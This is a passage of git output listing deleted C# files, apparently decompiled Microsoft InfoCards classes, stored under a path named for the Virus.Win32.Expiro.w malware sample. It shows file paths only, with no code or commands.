MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/KeyBlockV2.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/KeyGenRestartCodes.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LedgerEntry.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LedgerEntryCollection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LifeTimeMonitor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ListCardsInFileRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ListDependantCardsRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LocalIdCollection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LogoValidationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ManageRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/MaxSessionCountExceededException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/MergeConflictCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/NativeMcppMethods.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/NativeMethods.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/OptionalRstParameters.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ParsedPolicy.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PasswordValidationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PinProtectionHelper.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Policy.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyUsageContext.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyUtility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyValidationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyValidator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ProcessExitedException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ProcessManager.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ProcessMonitor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ProtocolProfile.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Psha1DerivedKeyGenerator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/QueryDetails.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/QueryParameter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/QueryStoreStatusRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RPIdentityRequirement.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RSATokenProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Recipient.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RecipientIdentity.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteAsymmetricSignatureFormatter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteCryptoDecryptRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteCryptoRsaServiceProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteCryptoSignHashRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteCryptoTokenProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteTokenFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteX509AsymmetricSecurityKey.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteX509Token.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Request.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityToken.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenForGetBrowserToken.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenForRemoteTokenFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenParameters.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenResponseHelper.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenSerializer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ResolvePPIDRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RoamingStoreFile.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RoamingStoreFileUtility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcAllocMemCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcAsyncResult.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcAuthorizeCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcCallbacks.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcClientBindToServiceCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcCryptoContext.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcCryptoRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcFreeMemCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcProcessNewRequestCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcResponse.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcRundownClientContextHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcUIAgentBindToServiceCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcUIAgentGetWorkCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RsaKeyGen.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeCryptoKey.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeCryptoKeyHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeJobHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeNativeHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeRsaProviderHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SaveCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SaveLedgerEntryRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SaveRecipientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndex.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndexDefinition.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndexItem.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndexList.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecondaryIndexSettings.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SecurityKeyTypeInternal.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthAsymmetricKey.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthProofToken.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthRSACryptoProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureDeformatter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureFormatter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedSamlTokenFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedTokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SendAgentStatusRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SerializationIncompleteException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ServiceBusyException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SetUserLanguageRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SetUserPreferenceRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SignHashRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SignatureHeader.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/StorableObjectType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/StoreConnection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SymmetricCryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SystemIdentity.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SystemShuttingDownException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenCreationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenCreationParameter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenDescriptor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenFactoryBase.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenFactoryCredentialType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenFactoryFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TransformBlockRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TransformCryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TransformFinalBlockRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TrustExchangeException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentAsyncBeginRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentAsyncEndRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentAsyncParams.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentCrashedException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentInitializationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentMonitor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentMonitorHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIEndRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UnlockCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UnsupportedPolicyOptionsException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UntrustedRecipientException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UserNameTokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UserPreference.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Utility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/VerifyHashRequest.cs delete mode 100644 